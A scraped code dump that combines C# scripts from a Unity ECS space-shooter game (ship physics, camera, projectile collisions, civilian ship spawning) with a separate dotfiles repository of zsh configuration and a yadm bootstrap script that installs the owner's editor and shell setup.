nextFire; public Entity bulletPrefabEntity; } <file_sep>/Assets/Scripts/Systems/EventsSystems/ProjectileCollisionEventSystem.cs using Unity.Entities; using Unity.Transforms; using Unity.Mathematics; using Unity.Jobs; using Unity.Collections; using Unity.Physics; using Unity.Physics.Systems; [UpdateAfter(typeof(EndFramePhysicsSystem))] public class ProjectileCollisionEventSystem : JobComponentSystem { BuildPhysicsWorld buildPhysicsWorld; StepPhysicsWorld stepPhysicsWorld; protected override void OnCreate() { buildPhysicsWorld = World.GetOrCreateSystem<BuildPhysicsWorld>(); stepPhysicsWorld = World.GetOrCreateSystem<StepPhysicsWorld>(); } protected override JobHandle OnUpdate(JobHandle inputDeps) { JobHandle jobHandle = new ProjectileCollisionEventImpulseJob { ProjectileGroup = GetComponentDataFromEntity<ProjectileData>(), CivilianShipGroup = GetComponentDataFromEntity<CivilianShipData>(), LifeTimeGroup = GetComponentDataFromEntity<LifeTimeData>(), }.Schedule(stepPhysicsWorld.Simulation, ref buildPhysicsWorld.PhysicsWorld, inputDeps); jobHandle.Complete(); return jobHandle; } struct ProjectileCollisionEventImpulseJob : ICollisionEventsJob { [ReadOnly] public ComponentDataFromEntity<ProjectileData> ProjectileGroup; public ComponentDataFromEntity<CivilianShipData> CivilianShipGroup; public ComponentDataFromEntity<LifeTimeData> LifeTimeGroup; public void Execute(CollisionEvent collisionEvent) { Entity entityA = collisionEvent.Entities.EntityA; Entity entityB = collisionEvent.Entities.EntityB; bool isShipA = CivilianShipGroup.Exists(entityA); bool isShipB = CivilianShipGroup.Exists(entityB); bool isProjectileA = ProjectileGroup.Exists(entityA); bool isProjectileB = ProjectileGroup.Exists(entityB); if ((isProjectileA && isShipB) || (isProjectileB && isShipA)) { var localEntityA = LifeTimeGroup[entityA]; var localEntityB = LifeTimeGroup[entityB]; localEntityA.alive = false; localEntityB.alive = false; LifeTimeGroup[entityA] = localEntityA; LifeTimeGroup[entityB] = localEntityB; } // if (isProjectileA && isShipB) { // var projectileEntity = LifeTimeGroup[entityA]; // var shipEntity = CivilianShipGroup[entityB]; // projectileEntity.alive = false; // shipEntity.alive = false; // LifeTimeGroup[entityA] = projectileEntity; // CivilianShipGroup[entityB] = shipEntity; // } else if (isProjectileB && isShipA) { // var projectileEntity = LifeTimeGroup[entityB]; // var shipEntity = CivilianShipGroup[entityA]; // projectileEntity.alive = false; // shipEntity.alive = false; // LifeTimeGroup[entityB] = projectileEntity; // CivilianShipGroup[entityA] = shipEntity; // } } } }<file_sep>/Assets/Scripts/Components/CameraData.cs using Unity.Entities; [GenerateAuthoringComponent] public struct CameraData : IComponentData { // 0 - first person camera // 1 - third person camera // default: 1 public int cameraMode; } <file_sep>/Assets/Scripts/Systems/CameraSystem.cs using UnityEngine; using Unity.Entities; using Unity.Transforms; using Unity.Mathematics; using Unity.Jobs; [UpdateAfter(typeof(PlayerSystem))] public class CameraSystem : JobComponentSystem { protected override JobHandle OnUpdate(JobHandle inputDeps) { float deltaTime = Time.DeltaTime; float3 playerPosition = EntityManager.GetComponentData<Translation>(GameDataManager.instance.playerEntityInstance).Value; quaternion playerRotation = EntityManager.GetComponentData<Rotation>(GameDataManager.instance.playerEntityInstance).Value; float3 cameraOffset = new float3( GameDataManager.instance.cameraHorizontalOffset, GameDataManager.instance.cameraVerticalOffset, GameDataManager.instance.cameraForwardOffset ); bool changeCameraMode = Input.GetKeyDown(KeyCode.V); Entities.WithoutBurst().ForEach((Camera camera, ref Translation position, ref Rotation rotation, ref CameraData cameraData ) => { if (changeCameraMode) { cameraData.cameraMode = (cameraData.cameraMode + 1) % 2; // Currently only 2 modes are implemented } if (cameraData.cameraMode == 0) { float3 cameraPosition = playerPosition + math.forward(math.mul(playerRotation, quaternion.Euler(math.radians(90), 0, 0))) * -2f + math.forward(playerRotation) * -1f; position.Value = math.lerp(position.Value, cameraPosition, deltaTime * 50); rotation.Value = Quaternion.Slerp(playerRotation, rotation.Value, deltaTime * 0.25f); } else { // cameraMode == 1 float3 cameraPosition = playerPosition + math.forward(math.mul(playerRotation, quaternion.Euler(0, math.radians(90), 0))) * cameraOffset.x + math.forward(math.mul(playerRotation, quaternion.Euler(math.radians(90), 0, 0))) * cameraOffset.y + math.forward(playerRotation) * cameraOffset.z; position.Value = math.lerp(position.Value, cameraPosition, deltaTime * 8); rotation.Value = Quaternion.Slerp(playerRotation, rotation.Value, deltaTime * 0.05f); } }).Run(); return inputDeps; } } <file_sep>/Assets/Scripts/Managers/UIManager.cs using UnityEngine; using UnityEngine.UI; using Unity.Mathematics; public class UIManager : MonoBehaviour { public static UIManager instance; public Text playerVelocityText; public Text dampenerInfo; void Awake() { if (instance != null && instance != this) { Destroy(gameObject); } else { instance = this; } } public void SetPlayerVelocity(float3 velocity) { playerVelocityText.text = string.Format("Velocity: {0}\nX: {1}\nY: {2}\nZ: {3}", Vector3.Magnitude(velocity), velocity.x, velocity.y, velocity.z ); } public void SetDampenerInfo(bool dampener) { dampenerInfo.enabled = dampener; } } <file_sep>/Assets/Scripts/Systems/LifeTimeSystem.cs using Unity.Entities; using Unity.Jobs; using Unity.Collections; [UpdateAfter(typeof(MoveProjectileSystem)), UpdateAfter(typeof(CivilianShipsSystem))] public class LifeTimeSystem : JobComponentSystem { protected override JobHandle OnUpdate(JobHandle inputDeps) { float deltaTime = Time.DeltaTime; var jobHandle = Entities.WithName("LifeTimeSystem").ForEach((ref LifeTimeData lifeTimeData) => { if (!lifeTimeData.infiniteLifetime) { if (lifeTimeData.lifeLeft > 0) { lifeTimeData.lifeLeft -= deltaTime; } else { lifeTimeData.alive = false; } } }).Schedule(inputDeps); jobHandle.Complete(); Entities.WithoutBurst().WithStructuralChanges().ForEach((Entity entity, ref LifeTimeData lifeTimeData) => { if (!lifeTimeData.alive) { EntityManager.DestroyEntity(entity); } }).Run(); return jobHandle; } }<file_sep>/Assets/Scripts/Managers/GameDataManager.cs using UnityEngine; using UnityEngine.UI; using Unity.Mathematics; using Unity.Entities; using Unity.Transforms; public class GameDataManager : MonoBehaviour { public static GameDataManager instance; // Hook to player entity instance public Entity playerEntityInstance; // public offsets for playerGuns public float3[] playerGunLocations; // public waypoints public float3[] waypoints; public Transform[] waypointsGameobjects; // Camera offsets [Range(-20,20)] public float cameraHorizontalOffset; [Range(-20,20)] public float cameraVerticalOffset; [Range(-20,20)] public float cameraForwardOffset; // UI Hooks public Text velocityText; void Awake() { if (instance != null && instance != this) { Destroy(gameObject); } else { instance = this; } waypoints = new float3[waypointsGameobjects.Length]; for (int i = 0; i < waypoints.Length; i++) { waypoints[i] = waypointsGameobjects[i].position; } } }<file_sep>/Assets/Scripts/Systems/PlayerSystem.cs using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; // using UnityEngine.VFX; // using UnityEditor.Experimental.VFX; using Unity.Entities; using Unity.Mathematics; using Unity.Transforms; using Unity.Jobs; using Unity.Collections; using Unity.Physics; public class PlayerSystem : JobComponentSystem { private bool initialized = false; // player move & rotate axis private float moveAxisHorizontal = 0; private float moveAxisVertical = 0; private float moveAxisForwardAngle = 0; private float moveAxisUp = 0; private float mouseAxisY = 0; private float mouseAxisX = 0; private NativeArray<float3> gunPositions; protected override void OnCreate() { base.OnCreate(); } private void Initialize() { gunPositions = new NativeArray<float3>(GameDataManager.instance.playerGunLocations, Allocator.Persistent); } protected override JobHandle OnUpdate(JobHandle inputDeps) { // Initialize stuff once, for the god sake if (!initialized) { if (GameDataManager.instance != null) { Initialize(); initialized = true; } else { return inputDeps; } } float deltaTime = Time.DeltaTime; // forward & backward axis moveAxisVertical = Input.GetAxis("Vertical"); // side axis moveAxisHorizontal = Input.GetAxis("Horizontal"); // rotation mouseAxisY = Input.GetAxis("Mouse Y"); mouseAxisX = Input.GetAxis("Mouse X"); // inclination around forward axis moveAxisForwardAngle = 0; if (Input.GetKey(KeyCode.Q)) { moveAxisForwardAngle = -1; } else if (Input.GetKey(KeyCode.E)) { moveAxisForwardAngle = 1; } // pitch axis moveAxisUp = 0; if (Input.GetKey(KeyCode.LeftControl)) { moveAxisUp = -1; } else if (Input.GetKey(KeyCode.LeftShift)) { moveAxisUp = 1; } // Fire keys bool fire = (Input.GetKey(KeyCode.Space) || (Input.GetMouseButton(0))); // Dampener Key bool dampenerKey = Input.GetKeyDown(KeyCode.T); Entities.WithoutBurst().WithStructuralChanges() .ForEach((ref Translation position, ref Rotation rotation, ref PhysicsVelocity velocity, ref PhysicsMass mass, ref PlayerData playerData) => { // VELOCITY // THRUST float3 forwardImpulse = new float3(0, 0, 0); float3 backwardImpulse = new float3(0, 0, 0); float3 leftImpulse = new float3(0, 0, 0); float3 rightImpulse = new float3(0, 0, 0); float3 upImpulse = new float3(0, 0, 0); float3 downImpulse = new float3(0, 0, 0); // Front & Back if (moveAxisVertical > 0) { forwardImpulse = math.forward(rotation.Value) * moveAxisVertical * playerData.forwardThrust; } else if (moveAxisVertical < 0) { backwardImpulse = math.forward(rotation.Value) * moveAxisVertical * playerData.backwardThrust; } // Left & Right if (moveAxisHorizontal > 0) { leftImpulse = Utils.Vector.Right(rotation.Value) * moveAxisHorizontal * playerData.sideThrust; } else if (moveAxisHorizontal < 0) { rightImpulse = Utils.Vector.Right(rotation.Value) * moveAxisHorizontal * playerData.sideThrust; } // Up & Down if (moveAxisUp > 0) { upImpulse = Utils.Vector.Up(rotation.Value) * moveAxisUp * playerData.pitchThrust; } else if (moveAxisUp < 0) { downImpulse = Utils.Vector.Up(rotation.Value) * moveAxisUp * playerData.pitchThrust; } // DAMPENER if (dampenerKey) { playerData.dampener = !playerData.dampener; } UIManager.instance.SetDampenerInfo(playerData.dampener); if (playerData.dampener) { // Front & Back Dampener if (math.abs(velocity.Linear.z) < 0.05f) { velocity.Linear.z = 0; } else { // Front dampener thrust if (Vector3.Angle(Utils.Vector.Forward(rotation.Value), math.normalize(velocity.Linear)) < 90) { forwardImpulse = math.forward(rotation.Value) * playerData.forwardThrust * -1; } // Back dampener thrust if (Vector3.Angle(Utils.Vector.Backward(rotation.Value), math.normalize(velocity.Linear)) < 90) { backwardImpulse = Utils.Vector.Backward(rotation.Value) * playerData.backwardThrust * -1; } } // Left & Right Dampener if (math.abs(velocity.Linear.x) < 0.05f) { velocity.Linear.x = 0; } else { // Left dampener thrust if (Vector3.Angle(Utils.Vector.Left(rotation.Value), math.normalize(velocity.Linear)) < 90) { leftImpulse = Utils.Vector.Left(rotation.Value) * playerData.sideThrust * -1; } // Right dampener thrust if (Vector3.Angle(Utils.Vector.Right(rotation.Value), math.normalize(velocity.Linear)) < 90) { rightImpulse = Utils.Vector.Right(rotation.Value) * playerData.sideThrust * -1; } } // Up & Down Dampener if (math.abs(velocity.Linear.y) < 0.05f) { velocity.Linear.y = 0; } else { // Up dampener thrust if (Vector3.Angle(Utils.Vector.Up(rotation.Value), math.normalize(velocity.Linear)) < 90) { upImpulse = Utils.Vector.Up(rotation.Value) * playerData.pitchThrust * -1; } // Down dampener thrust if (Vector3.Angle(Utils.Vector.Down(rotation.Value), math.normalize(velocity.Linear)) < 90) { downImpulse = Utils.Vector.Down(rotation.Value) * playerData.pitchThrust * -1; } } } float3 impulse = (forwardImpulse + backwardImpulse + leftImpulse + rightImpulse + upImpulse + downImpulse) * deltaTime; Unity.Physics.Extensions.ComponentExtensions.ApplyLinearImpulse(ref velocity, mass, impulse); // ROTATION rotation.Value = math.mul(rotation.Value, quaternion.Euler(new float3( math.radians(mouseAxisY), math.radians(mouseAxisX), -moveAxisForwardAngle * deltaTime ))); // SHOOTING SYSTEM if (fire && playerData.nextFire <= 0.0f) { foreach (float3 gunPosition in gunPositions) { var instance = EntityManager.Instantiate(playerData.bulletPrefabEntity); EntityManager.SetComponentData(instance, new Translation { Value = position.Value + math.mul(rotation.Value, gunPosition)}); EntityManager.SetComponentData(instance, new Rotation { Value = rotation.Value }); EntityManager.SetComponentData(instance, new LifeTimeData { lifeLeft = 2f, alive = true }); EntityManager.SetComponentData(instance, new ProjectileData { speed = 200, }); } playerData.nextFire += playerData.reloadTime; } else { playerData.nextFire = math.clamp(playerData.nextFire - deltaTime, 0.0f, playerData.reloadTime); } // Various UI Updates UIManager.instance.SetPlayerVelocity(velocity.Linear); }).Run(); return inputDeps; } protected override void OnDestroy() { gunPositions.Dispose(); base.OnDestroy(); } } <file_sep>/Assets/Scripts/Components/CivilianShipData.cs using Unity.Entities; using Unity.Mathematics; [GenerateAuthoringComponent] public struct CivilianShipData : IComponentData { public float speed; public float followDistance; public int currentWaypoint; // public bool alive; public Entity explosionPrefabEntity; } <file_sep>/README.md ## TheDuck project ![Example Image](./repository_images/explosion.PNG) **Not all files included in repository.** Skybox textures & Space kit are missing due to size. #### Required packages - **Entities** - **Unity Physics** - **Hybrid Renderer** - **Visual Effect Graph** #### Used assets: - **Space Kit (1.0)** Created/distributed by Kenney (www.kenney.nl) License: (Creative Commons Zero, CC0) <file_sep>/Assets/Scripts/Components/LifeTimeData.cs using Unity.Entities; [GenerateAuthoringComponent] public struct LifeTimeData : IComponentData { public bool infiniteLifetime; public float lifeLeft; public bool alive; } <file_sep>/Assets/Scripts/Managers/ECSManager.cs using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.VFX; using Unity.Entities; using Unity.Mathematics; using Unity.Transforms; public class ECSManager : MonoBehaviour { public GameObject playerShipPrefab; [Range(0, 100)] public float forwardThrust; [Range(0, 100)] public float backwardThrust; [Range(0, 100)] public float sideThrust; [Range(0, 100)] public float pitchThrust; public GameObject bulletPrefab; public GameObject explosionPrefab; public GameObject spaceCraftPrefab_1; private EntityManager entityManager; private Entity playerEntityInstance; private BlobAssetStore blobAssetStore; private GameObjectConversionSettings settings; void Start() { Debug.Log("" + Utils.Vector.Forward(quaternion.identity)); Debug.Log("" + Utils.Vector.Left(quaternion.identity)); blobAssetStore = new BlobAssetStore(); // Convert GameObjects to Entities entityManager = World.DefaultGameObjectInjectionWorld.EntityManager; settings = GameObjectConversionSettings.FromWorld(World.DefaultGameObjectInjectionWorld, blobAssetStore); var shipPrefabEntity = GameObjectConversionUtility.ConvertGameObjectHierarchy(playerShipPrefab, settings); var bulletPrefabEntity = GameObjectConversionUtility.ConvertGameObjectHierarchy(bulletPrefab, settings); var explosionPrefabEntity = GameObjectConversionUtility.ConvertGameObjectHierarchy(explosionPrefab, settings); // Spawn Player playerEntityInstance = entityManager.Instantiate(shipPrefabEntity); entityManager.SetComponentData(playerEntityInstance, new Translation { Value = new float3(-50, 0, 0)}); entityManager.SetComponentData(playerEntityInstance, new Rotation { Value = quaternion.identity}); entityManager.SetComponentData(playerEntityInstance, new PlayerData { forwardThrust = forwardThrust, backwardThrust = backwardThrust, sideThrust = sideThrust, pitchThrust = pitchThrust, dampener = false, reloadTime = 0.5f, nextFire = 0.0f, bulletPrefabEntity = bulletPrefabEntity, }); // entityManager.AddComponentData(playerEntityInstance, new) GameDataManager.instance.playerEntityInstance = playerEntityInstance; // Set guns offsets List<GameObject> bulletSpawnPoints = new List<GameObject>(); foreach (Transform gun in playerShipPrefab.transform) { if (gun.tag == "BulletSpawnPoint") { bulletSpawnPoints.Add(gun.gameObject); } } GameDataManager.instance.playerGunLocations = new float3[bulletSpawnPoints.Count]; for (int i = 0; i < bulletSpawnPoints.Count; i++) { GameDataManager.instance.playerGunLocations[i] = bulletSpawnPoints[i].transform.position; } // Spawn civilian ships for (int i = 0; i < 15; i++) { spawnCivilianShip(spaceCraftPrefab_1, new CivilianShipData { speed = UnityEngine.Random.Range(15, 45), followDistance = 15.0f, explosionPrefabEntity = explosionPrefabEntity, }); } // Lock mouse visibility on Play Mode Cursor.lockState = CursorLockMode.Locked; Cursor.visible = false; } private Entity spawnCivilianShip(GameObject shipPrefab, CivilianShipData civilianShipData) { var civilianShipPrefabEntity = GameObjectConversionUtility.ConvertGameObjectHierarchy(shipPrefab, settings); float3 positon = new float3( UnityEngine.Random.Range(-100, 100), UnityEngine.Random.Range(-100, 100), UnityEngine.Random.Range(-100, 100) ); Entity entity = entityManager.Instantiate(civilianShipPrefabEntity); entityManager.SetComponentData(entity, new Translation { Value = positon }); entityManager.SetComponentData(entity, new Rotation { Value = quaternion.identity }); int closestWaypoint = 0; float distance = Mathf.Infinity; for (int j = 0; j < GameDataManager.instance.waypoints.Length; j++) { if (Vector3.Distance(GameDataManager.instance.waypoints[j], positon) < distance) { closestWaypoint = j; distance = Vector3.Distance(GameDataManager.instance.waypoints[j], positon); } } entityManager.AddComponentData(entity, new CivilianShipData { speed = civilianShipData.speed, followDistance = civilianShipData.followDistance, currentWaypoint = closestWaypoint, explosionPrefabEntity = civilianShipData.explosionPrefabEntity, }); entityManager.AddComponentData(entity, new LifeTimeData { alive = true, infiniteLifetime = true, }); return entity; } void OnDestroy() { blobAssetStore.Dispose(); } }
fad7bd8c412bad195f73432aa775701b6083d4cd
[ "Markdown", "C#" ]
16
C#
leVermito/TheDuck
3a392919335439701ed47049220b8f7ff76cb937
e0838f67eb906fee1f42728195ad487e5502fc56
refs/heads/master
<repo_name>MrMailo/mailo<file_sep>/js/main.js $(document).ready(function(){ $('.slider__2').slick({ speed:900, easing:'ease', responsive:[ { breakpoint:1126, settings: { arrows:false, dots:true, } },{ breakpoint:492, settings:{ arrows:false, dots:true, } } ], }); }); <file_sep>/js/script.js $(document).ready(function(){ $('.slider__1').slick({ fade:false, speed:700, dots:true, arrows:false, autoplay:false, /*Интервал автоматического переключения слайдера*/ autoplaySpeed:4000, /*пауза при щелчке на любое место в блоке слайдера*/ pauseOnFocus:true, /*пауза при навидении на слайдер */ pauseOnHover:true, /*пауза при навидении на точки */ pauseOnDotsFocus:true, /*анимация слайдера*/ easing:'ease', }); });
0a2f6eab29ecf0db86b1eedbdea6549d714a60d4
[ "JavaScript" ]
2
JavaScript
MrMailo/mailo
0cbdcf091d8007f011267fb70201983aa830eba8
aaaf99bf337e00d8fd5dc5df72052c3a471f827f
refs/heads/main
<repo_name>alexcepoi/dotfiles<file_sep>/.zsh/autoload/00_term.sh #! /usr/bin/env zsh if [ ${TMUX} ]; then unset zle_bracketed_paste fi # Load GNU dircolors if present. if command -v dircolors &> /dev/null; then if [ -f ~/.dir_colors ]; then eval "$(dircolors -b ~/.dir_colors)" elif [ -f /etc/DIR_COLORS ]; then eval "$(dircolors -b /etc/DIR_COLORS)" else eval "$(dircolors -b)" fi fi # Clear screen. reset() { command reset if [[ -n $TMUX ]]; then tmux clearhist fi } refresh() { if [[ -n $TMUX ]]; then env | \ while read _env; do _envkey="$( cut -d '=' -f 1 <<< "$_env" )" _envval="$( cut -d '=' -f 2- <<< "$_env" )" tmux showenv -g $_envkey &> /dev/null && \ tmux setenv -g $_envkey "$_envval" done fi } # History search. autoload -U up-line-or-beginning-search autoload -U down-line-or-beginning-search zle -N up-line-or-beginning-search zle -N down-line-or-beginning-search bindkey "^P" up-line-or-beginning-search bindkey "^N" down-line-or-beginning-search # Plugins if [ -f ~/.zgen/zgen.zsh ]; then source ~/.zgen/zgen.zsh if ! zgen saved; then zgen load "zsh-users/zsh-completions" zgen load "zsh-users/zsh-syntax-highlighting" zgen save fi fi <file_sep>/.zsh/.zshenv export ZDOTDIR="$HOME/.zsh" autoload -Uz colors && colors # History settings setopt incappendhistory histignorealldups histignorespace histreduceblanks HISTSIZE=100000 SAVEHIST=100000 export HISTFILE=~/.zsh_history # Time reporting # REPORTTIME=5 TIMEFMT="$fg[yellow]Time: %E real %U user %S sys (%P cpu %MM ram)$reset_color" # tmux helpers tx_cmd() { tmux $@ } tx() { if [ $# -eq 0 ]; then >&2 echo "Usage: ${0##*/} [tmux-args] session-name" tx_cmd ls return 1 fi local name=${@:$#} local args=${@[1, -2]} DISPLAY=:1 tx_cmd ${args} new -A -s "${name}" } [ -r ~/.zsh_local/.zshenv ] && source ~/.zsh_local/.zshenv <file_sep>/.zsh/.zshrc # General settings bindkey -e autoload -Uz colors && colors autoload -Uz select-word-style && select-word-style bash setopt EXTENDEDGLOB autoload -Uz compinit && ( [[ -n ${ZDOTDIR}/.zcompdump(#qN.m-1) ]] && compinit -C || compinit ) unsetopt EXTENDEDGLOB autoload -Uz bashcompinit && bashcompinit autoload -Uz promptinit && promptinit # Load any common interactive shell settings if present. [ -r ~/.shrc ] && source ~/.shrc # Load rest of the settings from config files. for file in ~/.zsh/autoload/*(N); do source "$file" done for file in ~/.zsh_local/autoload/*(N); do source "$file" done <file_sep>/.zsh/autoload/01_prompt.sh #! /usr/bin/env zsh set_prompt() { GVIM_SERVER='GVIM' local G3_PROMPT="${PWD/#${HOME}/~}" PS1="%B%F{green}%m %F{blue}$G3_PROMPT %# %f%b%k" PS2="%B%F{green}%m %F{blue}$G3_PROMPT > %f%b%k" } # prompt hooks set_title() { print -Pn "\e]0;${G3_BASE_PROMPT}${G3_BASE_PROMPT:+" "}$1\a" } precmd() { EXIT_CODE=$? if $ZSH_NEW_COMMAND && [[ $EXIT_CODE -ne 0 ]]; then >&2 echo "$fg[red]zsh: exit code: $EXIT_CODE$reset_color" ZSH_NEW_COMMAND=false fi set_prompt set_title "${SHELL##*/}" } preexec() { ZSH_NEW_COMMAND=true emulate -L zsh setopt extended_glob # command name only set_title "${1[(wr)^(*=*|-*)]:gs/%/%%}" } <file_sep>/.config/yadm/alt/.config/foot##class.sway/foot.ini # vi: ft=conf # Theme (Tomorrow Night Bright) [colors] background=111111 foreground=eaeaea regular0=000000 regular1=d54e53 regular2=b9ca4a regular3=e6c547 regular4=7aa6da regular5=c397d8 regular6=70c0ba regular7=424242 bright0=666666 bright1=ff3335 bright2=9ec400 bright3=e7c547 bright4=7aa6da bright5=b77ee0 bright6=54ced6 bright7=2a2a2a # Theme (Tango) # [colors] # background=111111 # foreground=eeeeee # regular0=2e3436 # regular1=cc0000 # regular2=4e9a06 # regular3=c4a000 # regular4=3465a4 # regular5=75507b # regular6=06989a # regular7=d3d7cf # bright0=555753 # bright1=ef2929 # bright2=8ae234 # bright3=fce94f # bright4=729fcf # bright5=ad7fa8 # bright6=34e2e2 # bright7=eeeeec [search-bindings] find-next=Control+n find-prev=Control+p [url] launch=sh -c "swaymsg '[con_mark=sidebrowser] focus'; xdg-open ${url}" <file_sep>/.zsh/autoload/10_dev.sh #! /usr/bin/env zsh gvi() { if gvim --serverlist | grep -Fxqi $GVIM_SERVER; then if [[ "$#" -ne 0 ]]; then gvim --servername $GVIM_SERVER --remote-wait-silent "$@" else gvim --servername $GVIM_SERVER --remote-wait-silent \ $(gvim --servername $GVIM_SERVER --remote-expr "expand('%:p')") fi else gvim --servername $GVIM_SERVER "$@" fi } <file_sep>/.config/yadm/alt/.local/bin/i3-launch-in-sidebrowser##class.i3 #!/bin/bash i3-msg '[con_mark=sidebrowser] focus' xdg-open $1 <file_sep>/.config/yadm/bootstrap #!/bin/bash set -euo pipefail log() { if [ $# -ne 1 ]; then echo "Invalid log() with $# arguments: $*" return 1 fi echo "$(tput setaf 2)[$(date '+%Y-%m-%d %H:%M:%S%z')]$(tput sgr0) $1" } install_local_dotfiles() { _contains() { local e match="$1" shift for e; do [[ $e =~ ^$match(/.*)?$ ]] && return 0 done return 1 } _symlink_dotfiles() { for dir in "$@"; do if [[ $dir =~ \./ || $dir =~ ^[/~] ]]; then echo >&2 "Symlink directory path '$dir' not supported" exit 1 fi if [[ $dir == "." ]]; then local target_dir=".config/yadm/local" local link_dir="." elif [[ $dir == ".config" ]]; then local target_dir="yadm/local/$dir" local link_dir="./$dir" else local prefix="${dir//[^\/]/}" local prefix="${prefix//[\/]/../}" local target_dir="$prefix../.config/yadm/local/$dir" local link_dir="./$dir" fi # Delete broken symlinks. if [[ -d $link_dir ]]; then find $link_dir -mindepth 1 -maxdepth 1 -type l | while read -r target; do if [[ ! -e $target && $(readlink "$target") == *yadm/local/* ]]; then echo "$(tput setaf 3)[rm]$(tput sgr0) ${target#./}" rm "$target" fi done fi # Create local symlinks. if [[ -d .config/yadm/local/$dir ]]; then mkdir -p $link_dir (cd $link_dir && find $target_dir -mindepth 1 -maxdepth 1 ! -name ".git" ! -name ".gitignore") | while read -r target; do local target_basename=${target##*/} local link=$link_dir/${target_basename} local link=${link#./} # Don't symlink directories in which we need to selectively symlink. if _contains "$link" "$@"; then continue fi if [[ -L $link && $(readlink "$link") == "$target" ]]; then echo "$(tput setaf 2)[ok]$(tput sgr0) $link -> $target" elif [[ -e $link ]]; then echo "$(tput setaf 1)[!!]$(tput sgr0) $link -> $target" else echo "$(tput setaf 4)[->]$(tput sgr0) $link -> $target" ln -sn "$target" "$link" fi done fi done } if [[ ! -d $HOME/.config/yadm/local ]]; then if command -v gcert &>/dev/null && [[ $OSTYPE =~ ^linux ]]; then log "Installing .config/yadm/local repo" git clone sso://user/alexcepoi/gdotfiles "$HOME/.config/yadm/local" elif command -v gcert &>/dev/null && [[ $OSTYPE =~ ^darwin ]]; then log "Installing .config/yadm/local repo" git clone sso://user/alexcepoi/gmacdotfiles "$HOME/.config/yadm/local" fi elif [[ -d $HOME/.config/yadm/local/.git ]]; then log "Updating local dotfiles" git -C "$HOME/.config/yadm/local" pull --rebase || true fi log "Checking local dotfiles" _symlink_dotfiles "." ".config" ".config/goobuntu-backups" ".local/bin" } check_yadm_install() { local yadm_bin="$HOME/.local/bin/yadm" if ! command -v yadm &>/dev/null; then log "Installing local yadm" elif [[ -f $yadm_bin ]]; then log "Updating local yadm" else return 0 fi curl -fsSLo "$yadm_bin" --create-dirs https://github.com/TheLocehiliosan/yadm/raw/master/yadm chmod a+x "$yadm_bin" } install_dotvim() { log "Checking .vim repo" if [ -d "$HOME/.vim" ]; then log "Updating .vim repo" git -C "$HOME/.vim" pull --rebase || true log "Updating .vim plugins" vim +PlugUpgrade +PlugUpdate +PlugClean +PlugInstall +qall else log "Installing .vim repo" git clone <EMAIL>:alexcepoi/dotvim.git "$HOME/.vim" curl -fsSLo "$HOME/.vim/autoload/plug.vim" --create-dirs \ https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim log "Installing .vim plugins" vim +PlugInstall +qall fi if [[ ! -d $HOME/.vim/localconf.d ]]; then if command -v gcert &>/dev/null && [[ $OSTYPE =~ ^linux ]]; then log "Installing .vim/localconf.d repo" git clone sso://user/alexcepoi/gdotvim "$HOME/.vim/localconf.d" fi elif [[ -d $HOME/.vim/localconf.d/.git ]]; then log "Updating .vim/localconf.d repo" git -C "$HOME/.vim/localconf.d" pull --rebase || true fi } install_root_dotvim() { log "Checking ~root/.vim repo" if sudo test -d ~root/.vim; then log "Updating ~root/.vim repo" sudo git -C ~root/.vim pull --rebase || true if sudo test -d ~root/.vim/localconf.d/.git; then log "Updating ~root/.vim/localconf.d repo" sudo git -C ~root/.vim/localconf.d pull --rebase || true fi else log "Installing ~root/.vim repo" sudo git clone https://github.com/alexcepoi/dotvim.git ~root/.vim fi } install_dotnvim() { log "Checking .config/nvim repo" if [ -d "$HOME/.config/nvim" ]; then log "Updating .config/nvim repo" git -C "$HOME/.config/nvim" pull --rebase || true if [[ ! -d $HOME/.config/nvim/lua/local ]]; then if command -v gcert &>/dev/null && [[ $OSTYPE =~ ^linux ]]; then log "Installing .config/nvim/lua/local repo" git clone sso://user/alexcepoi/gdotnvim "$HOME/.config/nvim/lua/local" fi elif [[ -d $HOME/.config/nvim/lua/local/.git ]]; then log "Updating .config/nvim/lua/local repo" git -C "$HOME/.config/nvim/lua/local" pull --rebase || true fi else log "Installing .config/nvim repo" git clone <EMAIL>:alexcepoi/dotnvim.git "$HOME/.config/nvim" git clone --depth 1 https://github.com/wbthomason/packer.nvim ~/.local/share/nvim/site/pack/packer/start/packer.nvim fi log "Updating .config/nvim plugins" nvim --headless -c 'autocmd User PackerComplete quitall' -c 'PackerSync' nvim --headless -c "TSInstallSync all" -c "TSUpdateSync all" -c "echo ''" -c q } install_ssh_keys() { log "Checking local ssh keys" local keys_fname=$HOME/.ssh/authorized_keys find "$HOME/.ssh"/*.pub -type f | while read -r pubkey_fname; do local pubkey pubkey=$(<"$pubkey_fname") if [[ ! -f $keys_fname ]] || ! grep -q "$pubkey" "$keys_fname"; then log "Authorizing key ${pubkey_fname##*/}" echo "$pubkey" >>"$keys_fname" fi done } set_shell_zsh() { log "Checking SHELL" local zsh_bin="/bin/zsh" if [[ -f $zsh_bin && $SHELL != "$zsh_bin" ]]; then log "Changing SHELL to zsh" chsh -s $zsh_bin fi } setup_debian() { log "Checking ~root/.bashrc" if ! sudo grep -q "^PS1=" ~root/.bashrc; then log "Fixing root PS1.. appending to ~root/.bashrc:" echo | sudo tee -a ~root/.bashrc # shellcheck disable=SC2016 echo PS1=\''${debian_chroot:+($debian_chroot)}\[\033[01;31m\]\h\[\033[01;34m\] \w \$\[\033[00m\] '\' | sudo tee -a ~root/.bashrc fi } main() { # User configs. install_local_dotfiles check_yadm_install install_dotvim command -v nvim &>/dev/null && install_dotnvim install_ssh_keys set_shell_zsh # Root configs. install_root_dotvim # OS specific configs. if [[ $OSTYPE =~ ^linux ]]; then case $(grep ID /etc/os-release) in *debian*) setup_debian ;; esac fi } cd "$HOME" && main <file_sep>/.shrc #! /usr/bin/env bash # Environment variables export LANG="en_GB.UTF-8" export LC_CTYPE="en_GB.UTF-8" export EDITOR="vi" export PAGER="less" # Aliases alias ls='ls --color=auto' alias la='ls -A' alias ll='ls -l' alias l='ls -lA' alias grep='grep --colour=auto' alias fgrep='fgrep --color=auto' alias egrep='egrep --color=auto' # Path settings path() { echo $PATH | tr -s ":" "\n" } prepend_path() { local dir=$1 path=$2 if [ ! -d $dir ]; then printf $path return fi if [[ :$path: =~ :$dir: ]]; then path="${path#$dir:}" # remove if at start path="${path%:$dir}" # remove if at end path="${path//:$dir:/:}" # remove if in middle fi printf %s "$dir${path:+":$path"}" } 